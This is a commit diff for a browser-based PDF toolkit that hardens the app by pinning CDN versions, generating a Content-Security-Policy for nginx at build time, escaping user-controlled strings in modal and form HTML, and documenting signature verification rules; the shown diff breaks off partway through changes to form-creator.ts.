feat: enhance sanitization

.env.example

@@ -9,8 +9,8 @@ VITE_CORS_PROXY_SECRET=
 # Pre-configured defaults enable advanced PDF features out of the box.
 # For air-gapped / offline deployments, point these to your internal server (e.g., /wasm/pymupdf/).
 VITE_WASM_PYMUPDF_URL=https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/
-VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/
+VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/
-VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf/dist/
+VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/
 
 # OCR assets (optional)
 # Set all three together for self-hosted or air-gapped OCR.

.gitignore

@@ -33,6 +33,9 @@ coverage/
 # Generated sitemap
 public/sitemap.xml
 
+# Generated by scripts/generate-security-headers.mjs at build time
+security-headers.conf
+
 #backup
 .seo-backup
 libreoffice-wasm-package

Dockerfile

@@ -89,6 +89,7 @@ USER nginx
 
 COPY --chown=nginx:nginx --from=builder /app/dist /usr/share/nginx/html${BASE_URL%/}
 COPY --chown=nginx:nginx nginx.conf /etc/nginx/nginx.conf
+COPY --chown=nginx:nginx --from=builder /app/security-headers.conf /etc/nginx/security-headers.conf
 COPY --chown=nginx:nginx --chmod=755 nginx-ipv6.sh /docker-entrypoint.d/99-disable-ipv6.sh
 RUN mkdir -p /etc/nginx/tmp && chown -R nginx:nginx /etc/nginx/tmp
 

Dockerfile.nonroot

@@ -80,6 +80,7 @@ RUN apk upgrade --no-cache && apk add --no-cache su-exec
 
 COPY --from=builder /app/dist /usr/share/nginx/html${BASE_URL%/}
 COPY nginx.conf /etc/nginx/nginx.conf
+COPY --from=builder /app/security-headers.conf /etc/nginx/security-headers.conf
 COPY --chmod=755 entrypoint.sh /entrypoint.sh
 
 RUN mkdir -p /etc/nginx/tmp \

README.md

@@ -470,8 +470,8 @@ The default URLs are set in `.env.production`:
 
 ```bash
 VITE_WASM_PYMUPDF_URL=https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/
-VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/
+VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/
-VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf/dist/
+VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/
 VITE_TESSERACT_WORKER_URL=
 VITE_TESSERACT_CORE_URL=
 VITE_TESSERACT_LANG_URL=
@@ -1100,11 +1100,15 @@ For detailed release instructions, see [RELEASE.md](RELEASE.md).
    ```
 
 3. **Run the Development Server**:
+
    ```bash
    npm run dev
    ```
+
    The application will be available at `http://localhost:5173`.
 
+   > The dev server binds to `localhost` only by default. To expose it on your LAN (e.g. for mobile device testing), set `VITE_DEV_HOST=0.0.0.0 npm run dev`. The built-in CORS proxy at `/cors-proxy?url=` restricts targets to a known host allowlist; to permit additional hosts in development, set `VITE_DEV_CORS_PROXY_EXTRA_HOSTS="host1.example.com,host2.example.com"`.
+
 #### Option 2: Build and Run with Docker Compose
 
 1. **Clone the Repository**:

docs/self-hosting/docker.md

@@ -95,8 +95,8 @@ docker run -d -p 3000:8080 bentopdf:custom
 | `SIMPLE_MODE`                        | Build without LibreOffice tools             | `false`                                                        |
 | `BASE_URL`                           | Deploy to subdirectory                      | `/`                                                            |
 | `VITE_WASM_PYMUPDF_URL`              | PyMuPDF WASM module URL                     | `https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/` |
-| `VITE_WASM_GS_URL`                   | Ghostscript WASM module URL                 | `https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/`       |
+| `VITE_WASM_GS_URL`                   | Ghostscript WASM module URL                 | `https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/` |
-| `VITE_WASM_CPDF_URL`                 | CoherentPDF WASM module URL                 | `https://cdn.jsdelivr.net/npm/coherentpdf/dist/`               |
+| `VITE_WASM_CPDF_URL`                 | CoherentPDF WASM module URL                 | `https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/`         |
 | `VITE_TESSERACT_WORKER_URL`          | OCR worker script URL                       | _(empty; use Tesseract.js default CDN)_                        |
 | `VITE_TESSERACT_CORE_URL`            | OCR core runtime directory                  | _(empty; use Tesseract.js default CDN)_                        |
 | `VITE_TESSERACT_LANG_URL`            | OCR traineddata directory                   | _(empty; use Tesseract.js default CDN)_                        |
@@ -110,6 +110,16 @@ docker run -d -p 3000:8080 bentopdf:custom
 
 WASM module URLs are pre-configured with CDN defaults — all advanced features work out of the box. Override these for air-gapped or self-hosted deployments.
 
+### Content-Security-Policy
+
+The nginx image ships with an enforcing `Content-Security-Policy` header. The CSP's `script-src`, `connect-src`, and `font-src` directives are **generated at build time** from the `VITE_*` URL variables above — whatever hosts you pass via `--build-arg` are automatically added to the policy.
+
+As a result:
+
+- If you override `VITE_CORS_PROXY_URL` or `VITE_WASM_*_URL` at build time, the CSP permits those origins automatically — no extra config needed.
+- If you configure custom WASM URLs at _runtime_ via the in-app Advanced Settings page, those origins are **not** in the CSP and the browser will block fetches to them. Runtime configuration is intended for experimentation; for permanent custom URLs set the matching `VITE_*` build arg.
+- Air-gapped deployments that override all three `VITE_WASM_*_URL` values also get the public `cdn.jsdelivr.net` removed from CSP (each default is replaced, not appended). Similarly, setting `VITE_CORS_PROXY_URL` replaces the public `bentopdf-cors-proxy.bentopdf.workers.dev` default.
+
 For OCR, leave the `VITE_TESSERACT_*` variables empty to use the default online assets, or set all three together for self-hosted/offline OCR. Partial OCR overrides are rejected because the worker, core runtime, and traineddata directory must match. For fully offline searchable PDF output, also set `VITE_OCR_FONT_BASE_URL` so the OCR text-layer fonts are loaded from your internal server instead of the public Noto font URLs.
 
 `VITE_DEFAULT_LANGUAGE` sets the UI language for first-time visitors. Supported values: `en`, `ar`, `be`, `fr`, `de`, `es`, `zh`, `zh-TW`, `vi`, `tr`, `id`, `it`, `pt`, `nl`, `da`. Users can still switch languages — this only changes the default.

docs/self-hosting/index.md

@@ -203,8 +203,8 @@ These are set in `.env.production` and baked into the build:
 
 ```bash
 VITE_WASM_PYMUPDF_URL=https://cdn.jsdelivr.net/npm/@bentopdf/pymupdf-wasm@0.11.16/
-VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm/assets/
+VITE_WASM_GS_URL=https://cdn.jsdelivr.net/npm/@bentopdf/gs-wasm@0.1.1/assets/
-VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf/dist/
+VITE_WASM_CPDF_URL=https://cdn.jsdelivr.net/npm/coherentpdf@2.5.5/dist/
 VITE_TESSERACT_WORKER_URL=
 VITE_TESSERACT_CORE_URL=
 VITE_TESSERACT_LANG_URL=

docs/tools/validate-signature-pdf.md

@@ -26,6 +26,31 @@ The tool extracts PKCS#7 signature objects from the PDF, decodes the ASN.1 struc
 - **Self-signed detection**: Is the certificate its own issuer?
 - **Trust chain**: When a trusted certificate is provided, does the signer's certificate chain back to it?
 
+### Cryptographic Verification
+
+- The tool reconstructs the bytes covered by the signature's `/ByteRange`, hashes them with the algorithm the signer declared, and compares the result against the `messageDigest` attribute inside the signature.
+- It then re-serializes the signed attributes as a DER SET and verifies the signature against the signer certificate's public key.
+- **A signature is reported as valid only when all of these pass.** If the PDF bytes were modified after signing, or the embedded signature does not match the signer's key, the status shows "Invalid — Cryptographic Verification Failed" with the specific reason.
+
+#### Supported Signature Algorithms
+
+| Algorithm               | Verification path                                                                      |
+| ----------------------- | -------------------------------------------------------------------------------------- |
+| RSA (PKCS#1 v1.5)       | node-forge `publicKey.verify`, with Web Crypto fallback                                |
+| RSA-PSS (RSASSA-PSS)    | Web Crypto `verify({name: 'RSA-PSS', saltLength})`                                     |
+| ECDSA P-256/P-384/P-521 | Web Crypto `verify({name: 'ECDSA', hash})` after DER → IEEE P1363 signature conversion |
+
+If a signature uses an algorithm outside this list (for example Ed25519, SM2, or RSA with an unusual digest OID), the card shows **"Unverified — Unsupported Signature Algorithm"** in yellow, along with the specific OID or reason. This is a deliberate three-state distinction:
+
+- **Valid** — signature cryptographically verified against the signer's public key.
+- **Invalid** — verification ran and produced a negative result (bytes changed, key mismatch).
+- **Unverified** — the tool could not run verification for this algorithm. The certificate metadata is still shown, but you should treat the signature as "unknown" and verify it with Adobe Acrobat or `openssl cms -verify`.
+
+### Insecure Digest Algorithms
+
+- Signatures using **MD5 or SHA-1** are rejected as invalid and flagged with "Insecure Digest" status. Both algorithms have published collision attacks, so a signature over a SHA-1 or MD5 hash offers no integrity guarantee.
+- SHA-224, SHA-256, SHA-384, and SHA-512 are all accepted.
+
 ### Document Coverage
 
 - **Full coverage**: The signature covers the entire PDF file, meaning no bytes were added or changed after signing.

nginx.conf

@@ -27,27 +27,20 @@ http {
         index index.html;
         absolute_redirect off;
 
+        include /etc/nginx/security-headers.conf;
+
         location ~ ^/(en|ar|be|da|de|es|fr|id|it|ko|nl|pt|ru|sv|tr|vi|zh|zh-TW)(/.*)?$ {
             try_files $uri $uri/ $uri.html /$1/index.html /index.html;
             expires 5m;
-            add_header Cache-Control "public, must-revalidate";
-            add_header Cross-Origin-Embedder-Policy "require-corp" always;
-            add_header Cross-Origin-Opener-Policy "same-origin" always;
         }
 
         location ~ ^/(.+?)/(en|ar|be|da|de|es|fr|id|it|ko|nl|pt|ru|sv|tr|vi|zh|zh-TW)(/.*)?$ {
             try_files $uri $uri/ $uri.html /$1/$2/index.html /$1/index.html /index.html;
             expires 5m;
-            add_header Cache-Control "public, must-revalidate";
-            add_header Cross-Origin-Embedder-Policy "require-corp" always;
-            add_header Cross-Origin-Opener-Policy "same-origin" always;
         }
 
         location ~* \.html$ {
             expires 1h;
-            add_header Cache-Control "public, must-revalidate";
-            add_header Cross-Origin-Embedder-Policy "require-corp" always;
-            add_header Cross-Origin-Opener-Policy "same-origin" always;
         }
 
         location ~* /libreoffice-wasm/soffice\.wasm\.gz$ {
@@ -55,9 +48,8 @@ http {
             types {} default_type application/wasm;
             add_header Content-Encoding gzip;
             add_header Vary "Accept-Encoding";
-            add_header Cache-Control "public, immutable";
+            include /etc/nginx/security-headers.conf;
-            add_header Cross-Origin-Embedder-Policy "require-corp" always;
+            expires 1y;
-            add_header Cross-Origin-Opener-Policy "same-origin" always;
         }
 
         location ~* /libreoffice-wasm/soffice\.data\.gz$ {
@@ -65,38 +57,28 @@ http {
             types {} default_type application/octet-stream;
             add_header Content-Encoding gzip;
             add_header Vary "Accept-Encoding";
-            add_header Cache-Control "public, immutable";
+            include /etc/nginx/security-headers.conf;
-            add_header Cross-Origin-Embedder-Policy "require-corp" always;
+            expires 1y;
-            add_header Cross-Origin-Opener-Policy "same-origin" always;
         }
 
         location ~* \.(wasm|wasm\.gz|data|data\.gz)$ {
             expires 1y;
-            add_header Cache-Control "public, immutable";
-            add_header Cross-Origin-Embedder-Policy "require-corp" always;
-            add_header Cross-Origin-Opener-Policy "same-origin" always;
         }
 
         location ~* \.(js|mjs|css|woff|woff2|ttf|eot|otf)$ {
             expires 1y;
-            add_header Cache-Control "public, immutable";
-            add_header Cross-Origin-Embedder-Policy "require-corp" always;
-            add_header Cross-Origin-Opener-Policy "same-origin" always;
         }
 
         location ~* \.(png|jpg|jpeg|gif|ico|svg|webp|avif|mp4|webm)$ {
             expires 1y;
-            add_header Cache-Control "public, immutable";
         }
 
         location ~* \.json$ {
             expires 1w;
-            add_header Cache-Control "public, must-revalidate";
         }
 
         location ~* \.pdf$ {
             expires 1y;
-            add_header Cache-Control "public, immutable";
         }
 
         error_page 404 /404.html;
@@ -104,16 +86,6 @@ http {
         location / {
             try_files $uri $uri/ $uri.html =404;
             expires 5m;
-            add_header Cache-Control "public, must-revalidate";
-            add_header Cross-Origin-Embedder-Policy "require-corp" always;
-            add_header Cross-Origin-Opener-Policy "same-origin" always;
         }
-
-        add_header X-Frame-Options "SAMEORIGIN" always;
-        add_header X-Content-Type-Options "nosniff" always;
-        add_header X-XSS-Protection "1; mode=block" always;
-        add_header Cross-Origin-Opener-Policy "same-origin" always;
-        add_header Cross-Origin-Embedder-Policy "require-corp" always;
-        add_header Cross-Origin-Resource-Policy "cross-origin" always;
     }
 }

package.json

@@ -6,7 +6,7 @@
   "type": "module",
   "scripts": {
     "dev": "vite",
-    "build": "tsc && vite build && NODE_OPTIONS='--max-old-space-size=3072' node scripts/generate-i18n-pages.mjs && node scripts/generate-sitemap.mjs",
+    "build": "tsc && vite build && NODE_OPTIONS='--max-old-space-size=3072' node scripts/generate-i18n-pages.mjs && node scripts/generate-sitemap.mjs && node scripts/generate-security-headers.mjs",
     "build:with-docs": "npm run build && npm run docs:build && node scripts/include-docs-in-dist.js",
     "build:gzip": "COMPRESSION_MODE=g npm run build",
     "build:brotli": "COMPRESSION_MODE=b npm run build",
@@ -58,7 +58,7 @@
     "vite": "^7.3.2",
     "vite-plugin-compression": "^0.5.1",
     "vite-plugin-handlebars": "^2.0.0",
-    "vite-plugin-node-polyfills": "^0.25.0",
+    "vite-plugin-node-polyfills": "^0.26.0",
     "vitepress": "^1.6.4",
     "vitest": "^4.0.18",
     "vue": "^3.5.29"
@@ -86,6 +86,7 @@
     "bwip-js": "^4.8.0",
     "cropperjs": "^1.6.2",
     "diff": "^8.0.3",
+    "dompurify": "^3.4.0",
     "embedpdf-snippet": "file:vendor/embedpdf/embedpdf-snippet-2.9.1.tgz",
     "heic2any": "^0.0.4",
     "highlight.js": "^11.11.1",
@@ -149,6 +150,8 @@
     "flatted": "^3.4.2",
     "react": "^18.3.1",
     "react-dom": "^18.3.1",
-    "lodash-es": "^4.18.1"
+    "lodash-es": "^4.18.1",
+    "follow-redirects": "^1.15.11",
+    "esbuild": "^0.25.0"
   }
 }

public/sw.js

@@ -5,9 +5,11 @@
  * Version: 1.1.0
  */
 
-const CACHE_VERSION = 'bentopdf-v10';
+const CACHE_VERSION = 'bentopdf-v11';
 const CACHE_NAME = `${CACHE_VERSION}-static`;
 
+const trustedCdnOrigins = new Set(['https://cdn.jsdelivr.net']);
+
 const getBasePath = () => {
   const scope = self.registration?.scope || self.location.href;
   const url = new URL(scope);
@@ -67,7 +69,7 @@ self.addEventListener('activate', (event) => {
 self.addEventListener('fetch', (event) => {
   const url = new URL(event.request.url);
 
-  const isCDN = url.hostname === 'cdn.jsdelivr.net';
+  const isCDN = trustedCdnOrigins.has(url.origin);
   const isLocal = url.origin === location.origin;
 
   if (!isLocal && !isCDN) {
@@ -220,11 +222,9 @@ async function removeDuplicateCache(cache, fileName, isCDN) {
   for (const req of requests) {
     const reqUrl = new URL(req.url);
     if (reqUrl.pathname.endsWith(fileName)) {
-      // If caching CDN version, remove local version (and vice versa)
+      const reqIsCDN = trustedCdnOrigins.has(reqUrl.origin);
-      const reqIsCDN = reqUrl.hostname === 'cdn.jsdelivr.net';
       if (reqIsCDN !== isCDN) {
         await cache.delete(req);
-        // console.log(`[Dedup] Removed ${reqIsCDN ? 'CDN' : 'local'} version of:`, fileName);
       }
     }
   }
@@ -280,13 +280,16 @@ function getLocalPathForCDNUrl(pathname) {
  * Determine if a URL should be cached
  * Handles both local and CDN URLs
  */
+const CACHEABLE_EXTENSIONS =
+  /\.(js|mjs|css|wasm|whl|zip|json|png|jpg|jpeg|gif|svg|woff|woff2|ttf|gz|br)$/;
+
 function shouldCache(pathname, isCDN = false) {
   if (isCDN) {
     return (
       pathname.includes('/@bentopdf/pymupdf-wasm') ||
       pathname.includes('/@bentopdf/gs-wasm') ||
       pathname.includes('/@matbee/libreoffice-converter') ||
-      pathname.match(/\.(wasm|whl|zip|json|js|gz)$/)
+      CACHEABLE_EXTENSIONS.test(pathname)
     );
   }
 
@@ -294,9 +297,7 @@ function shouldCache(pathname, isCDN = false) {
     pathname.includes('/libreoffice-wasm/') ||
     pathname.includes('/embedpdf/') ||
     pathname.includes('/assets/') ||
-    pathname.match(
+    CACHEABLE_EXTENSIONS.test(pathname)
-      /\.(js|mjs|css|wasm|whl|zip|json|png|jpg|jpeg|gif|svg|woff|woff2|ttf|gz|br)$/
-    )
   );
 }
 
@@ -327,16 +328,42 @@ async function cacheInBatches(cache, urls, batchSize = 5) {
 }
 
 self.addEventListener('message', (event) => {
-  if (event.data && event.data.type === 'SKIP_WAITING') {
+  if (!event.data) return;
+
+  if (event.data.type === 'SKIP_WAITING') {
     self.skipWaiting();
+    return;
   }
 
-  if (event.data && event.data.type === 'CLEAR_CACHE') {
+  if (event.data.type === 'CLEAR_CACHE') {
     event.waitUntil(
       caches.delete(CACHE_NAME).then(() => {
         console.log('[ServiceWorker] Cache cleared');
       })
     );
+    return;
+  }
+
+  if (
+    event.data.type === 'SET_TRUSTED_CDN_HOSTS' &&
+    Array.isArray(event.data.hosts)
+  ) {
+    for (const origin of event.data.hosts) {
+      if (typeof origin !== 'string') continue;
+      try {
+        const parsed = new URL(origin);
+        if (parsed.protocol !== 'https:' && parsed.protocol !== 'http:') {
+          continue;
+        }
+        trustedCdnOrigins.add(parsed.origin);
+      } catch (e) {
+        console.warn(
+          '[ServiceWorker] Ignoring malformed trusted-host origin:',
+          origin,
+          e
+        );
+      }
+    }
   }
 });
 

scripts/generate-security-headers.mjs

@@ -0,0 +1,90 @@
+#!/usr/bin/env node
+import { writeFileSync } from 'node:fs';
+import { join, dirname } from 'node:path';
+import { fileURLToPath } from 'node:url';
+
+const repoRoot = join(dirname(fileURLToPath(import.meta.url)), '..');
+
+function originOf(urlStr) {
+  if (!urlStr) return null;
+  try {
+    const u = new URL(urlStr);
+    if (u.protocol !== 'https:' && u.protocol !== 'http:') return null;
+    return `${u.protocol}//${u.host}`;
+  } catch {
+    return null;
+  }
+}
+
+function uniq(values) {
+  return Array.from(new Set(values.filter(Boolean)));
+}
+
+const DEFAULT_WASM_ORIGINS = {
+  pymupdf: 'https://cdn.jsdelivr.net',
+  gs: 'https://cdn.jsdelivr.net',
+  cpdf: 'https://cdn.jsdelivr.net',
+};
+const DEFAULT_CORS_PROXY_ORIGIN =
+  'https://bentopdf-cors-proxy.bentopdf.workers.dev';
+
+const wasmOrigins = [
+  originOf(process.env.VITE_WASM_PYMUPDF_URL) || DEFAULT_WASM_ORIGINS.pymupdf,
+  originOf(process.env.VITE_WASM_GS_URL) || DEFAULT_WASM_ORIGINS.gs,
+  originOf(process.env.VITE_WASM_CPDF_URL) || DEFAULT_WASM_ORIGINS.cpdf,
+];
+
+const tesseractOrigins = uniq([
+  originOf(process.env.VITE_TESSERACT_WORKER_URL),
+  originOf(process.env.VITE_TESSERACT_CORE_URL),
+  originOf(process.env.VITE_TESSERACT_LANG_URL),
+]);
+
+const corsProxyOrigin =
+  originOf(process.env.VITE_CORS_PROXY_URL) || DEFAULT_CORS_PROXY_ORIGIN;
+
+const ocrFontOrigin = originOf(process.env.VITE_OCR_FONT_BASE_URL);
+
+const scriptOrigins = uniq([...wasmOrigins, ...tesseractOrigins]);
+const connectOrigins = uniq([
+  ...wasmOrigins,
+  ...tesseractOrigins,
+  corsProxyOrigin,
+]);
+const fontOrigins = uniq([ocrFontOrigin].filter(Boolean));
+
+const directives = [
+  `default-src 'self'`,
+  `script-src 'self' 'wasm-unsafe-eval' ${scriptOrigins.join(' ')}`.trim(),
+  `worker-src 'self' blob:`,
+  `style-src 'self' 'unsafe-inline'`,
+  `img-src 'self' data: blob: https:`,
+  fontOrigins.length
+    ? `font-src 'self' data: ${fontOrigins.join(' ')}`
+    : `font-src 'self' data:`,
+  `connect-src 'self' ${connectOrigins.join(' ')}`.trim(),
+  `object-src 'none'`,
+  `base-uri 'self'`,
+  `frame-ancestors 'self'`,
+  `form-action 'self'`,
+  `upgrade-insecure-requests`,
+];
+
+const csp = directives.join('; ');
+
+const contents = `add_header Content-Security-Policy "${csp}" always;
+add_header X-Frame-Options "SAMEORIGIN" always;
+add_header X-Content-Type-Options "nosniff" always;
+add_header X-XSS-Protection "1; mode=block" always;
+add_header Referrer-Policy "strict-origin-when-cross-origin" always;
+add_header Permissions-Policy "geolocation=(), camera=(), microphone=(), payment=(), usb=(), interest-cohort=()" always;
+add_header Cross-Origin-Opener-Policy "same-origin" always;
+add_header Cross-Origin-Embedder-Policy "require-corp" always;
+add_header Cross-Origin-Resource-Policy "cross-origin" always;
+`;
+
+const outPath = join(repoRoot, 'security-headers.conf');
+writeFileSync(outPath, contents);
+console.log(
+  `[security-headers] wrote ${outPath} with ${scriptOrigins.length} script-src / ${connectOrigins.length} connect-src origin(s)`
+);

src/js/logic/bookmark-pdf.ts

@@ -232,22 +232,22 @@ function showInputModal(
         if (field.type === 'text') {
           return `
   <div class="mb-4">
-    <label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label>
+    <label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
       <input type="text" id="modal-${field.name}" value="${escapeHTML(String(defaultValues[field.name] || ''))}"
 class="w-full px-3 py-2 border border-gray-300 rounded-lg text-gray-900"
-placeholder="${field.placeholder || ''}" />
+placeholder="${escapeHTML(field.placeholder || '')}" />
   </div>
     `;
         } else if (field.type === 'select') {
           return `
   <div class="mb-4">
-    <label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label>
+    <label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
       <select id="modal-${field.name}" class="w-full px-3 py-2 border border-gray-300 rounded-lg text-gray-900">
         ${field.options
           .map(
             (opt) => `
-                                        <option value="${opt.value}" ${defaultValues[field.name] === opt.value ? 'selected' : ''}>
+                                        <option value="${escapeHTML(opt.value)}" ${defaultValues[field.name] === opt.value ? 'selected' : ''}>
-                                            ${opt.label}
+                                            ${escapeHTML(opt.label)}
                                         </option>
                                     `
           )
@@ -261,7 +261,7 @@ placeholder="${field.placeholder || ''}" />
             defaultValues.destX !== null && defaultValues.destX !== undefined;
           return `
   <div class="mb-4">
-    <label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label>
+    <label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
       <div class="p-3 bg-gray-50 rounded-lg border border-gray-200 space-y-2">
         <div class="flex items-center gap-2">
           <label class="flex items-center gap-1 text-xs">
@@ -313,7 +313,7 @@ class="w-full px-2 py-1 border border-gray-300 rounded text-sm text-gray-900" />
         } else if (field.type === 'preview') {
           return `
         <div class="mb-4">
-          <label class="block text-sm font-medium text-gray-700 mb-2">${field.label}</label>
+          <label class="block text-sm font-medium text-gray-700 mb-2">${escapeHTML(field.label)}</label>
             <div id="modal-preview" class="style-preview bg-gray-50">
               <span id="preview-text" style="font-size: 16px;">Preview Text</span>
                 </div>
@@ -326,7 +326,7 @@ class="w-full px-2 py-1 border border-gray-300 rounded text-sm text-gray-900" />
 
     modal.innerHTML = `
                 <div class="p-6">
-                  <h3 class="text-xl font-bold text-gray-800 mb-4">${title}</h3>
+                  <h3 class="text-xl font-bold text-gray-800 mb-4">${escapeHTML(title)}</h3>
                     <div class="mb-6">
                       ${fieldsHTML}
 </div>
@@ -830,7 +830,7 @@ function showConfirmModal(message: string): Promise<boolean> {
     modal.innerHTML = `
   <div class="p-6">
     <h3 class="text-xl font-bold text-gray-800 mb-4">Confirm Action</h3>
-      <p class="text-gray-600 mb-6">${message}</p>
+      <p class="text-gray-600 mb-6">${escapeHTML(message)}</p>
         <div class="flex gap-2 justify-end">
           <button id="modal-cancel" class="px-4 py-2 rounded-lg bg-gray-200 hover:bg-gray-300 text-gray-700">Cancel</button>
             <button id="modal-confirm" class="px-4 py-2 rounded btn-gradient text-white">Confirm</button>
@@ -882,8 +882,8 @@ function showAlertModal(title: string, message: string): Promise<boolean> {
 
     modal.innerHTML = `
               <div class="p-6">
-                <h3 class="text-xl font-bold text-gray-800 mb-4">${title}</h3>
+                <h3 class="text-xl font-bold text-gray-800 mb-4">${escapeHTML(title)}</h3>
-                  <p class="text-gray-600 mb-6">${message}</p>
+                  <p class="text-gray-600 mb-6">${escapeHTML(message)}</p>
                     <div class="flex justify-end">
                       <button id="modal-ok" class="px-4 py-2 rounded btn-gradient text-white">OK</button>
                         </div>

src/js/logic/deskew-pdf-page.ts

@@ -71,22 +71,41 @@ function updateFileDisplay(): void {
   fileControls.classList.remove('hidden');
   deskewOptions.classList.remove('hidden');
 
-  fileDisplayArea.innerHTML = selectedFiles
+  fileDisplayArea.textContent = '';
-    .map(
+  selectedFiles.forEach((file, index) => {
-      (file, index) => `
+    const row = document.createElement('div');
-      <div class="flex items-center justify-between bg-gray-700 p-3 rounded-lg">
+    row.className =
-        <div class="flex items-center gap-3">
+      'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
-          <i data-lucide="file-text" class="w-5 h-5 text-indigo-400"></i>
+
-          <span class="text-gray-200 truncate max-w-xs">${file.name}</span>
+    const info = document.createElement('div');
-          <span class="text-gray-500 text-sm">(${(file.size / 1024).toFixed(1)} KB)</span>
+    info.className = 'flex items-center gap-3';
-        </div>
+
-        <button class="remove-file text-gray-400 hover:text-red-400" data-index="${index}">
+    const fileIcon = document.createElement('i');
-          <i data-lucide="x" class="w-5 h-5"></i>
+    fileIcon.setAttribute('data-lucide', 'file-text');
-        </button>
+    fileIcon.className = 'w-5 h-5 text-indigo-400';
-      </div>
+
-    `
+    const nameSpan = document.createElement('span');
-    )
+    nameSpan.className = 'text-gray-200 truncate max-w-xs';
-    .join('');
+    nameSpan.textContent = file.name;
+
+    const sizeSpan = document.createElement('span');
+    sizeSpan.className = 'text-gray-500 text-sm';
+    sizeSpan.textContent = `(${(file.size / 1024).toFixed(1)} KB)`;
+
+    info.append(fileIcon, nameSpan, sizeSpan);
+
+    const removeBtn = document.createElement('button');
+    removeBtn.className = 'remove-file text-gray-400 hover:text-red-400';
+    removeBtn.dataset.index = String(index);
+
+    const removeIcon = document.createElement('i');
+    removeIcon.setAttribute('data-lucide', 'x');
+    removeIcon.className = 'w-5 h-5';
+    removeBtn.appendChild(removeIcon);
+
+    row.append(info, removeBtn);
+    fileDisplayArea.appendChild(row);
+  });
 
   createIcons({ icons });
 

src/js/logic/form-creator.ts

@@ -20,7 +20,7 @@ type LucideWindow = Window & {
 };
 
 import { initializeGlobalShortcuts } from '../utils/shortcuts-init.js';
-import { downloadFile, hexToRgb } from '../utils/helpers.js';
+import { downloadFile, escapeHtml, hexToRgb } from '../utils/helpers.js';
 import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js';
 import { createIcons, icons } from 'lucide';
 import * as pdfjsLib from 'pdfjs-dist';
@@ -720,7 +720,7 @@ function renderField(field: FormField): void {
       field,
       '#ffffff'
     );
-    contentEl.innerHTML = `<div class="flex items-center gap-2 px-2"><i data-lucide="calendar" class="w-4 h-4"></i><span class="text-sm date-format-text">${field.dateFormat || 'mm/dd/yyyy'}</span></div>`;
+    contentEl.innerHTML = `<div class="flex items-center gap-2 px-2"><i data-lucide="calendar" class="w-4 h-4"></i><span class="text-sm date-format-text">${escapeHtml(field.dateFormat || 'mm/dd/yyyy')}</span></div>`;
     setTimeout(() => (window as LucideWindow).lucide?.createIcons(), 0);
   } else if (field.type === 'image') {
     contentEl.className =
@@ -729,7 +729,7 @@ function renderField(field: FormField): void {
       field,
       '#f3f4f6'
     );
-    contentEl.innerHTML = `<div class="flex flex-col items-center text-center p-1"><i data-lucide="image" class="w-6 h-6 mb-1"></i><span class="text-[10px] leading-tight">${field.label || 'Click to Upload Image'}</span></div>`;
+    contentEl.innerHTML = `<div class="flex flex-col items-center text-center p-1"><i data-lucide="image" class="w-6 h-6 mb-1"></i><span class="text-[10px] leading-tight">${escapeHtml(field.label || 'Click to Upload Image')}</span></div>`;
     setTimeout(() => (window as LucideWindow).lucide?.createIcons(), 0);
   } else if (field.type === 'barcode') {
     contentEl.className = 'w-full h-full flex items-center justify-center';
@@ -1105,7 +1105,7 @@ function showProperties(field: FormField): void {
     specificProps = `
         <div>
             <label class="block text-xs font-semibold text-gray-300 mb-1">Value</label>
-            <input type="text" id="propValue" value="${field.defaultValue}" ${field.combCells > 0 ? `maxlength="${field.combCells}"` : field.maxLength > 0 ? `maxlength="${field.maxLength}"` : ''} class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
+            <input type="text" id="propValue" value="${escapeHtml(field.defaultValue)}" ${field.combCells > 0 ? `maxlength="${field.combCells}"` : field.maxLength > 0 ? `maxlength="${field.maxLength}"` : ''} class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
         </div>
         <div>
             <label class="block text-xs font-semibold text-gray-300 mb-1">Max Length (0 for unlimited)</label>
@@ -1151,11 +1151,11 @@ function showProperties(field: FormField): void {
     specificProps = `
         <div>
             <label class="block text-xs font-semibold text-gray-300 mb-1">Group Name (Must be same for group)</label>
-            <input type="text" id="propGroupName" value="${field.groupName}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
+            <input type="text" id="propGroupName" value="${escapeHtml(field.groupName)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
         </div>
         <div>
             <label class="block text-xs font-semibold text-gray-300 mb-1">Export Value</label>
-            <input type="text" id="propExportValue" value="${field.exportValue}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
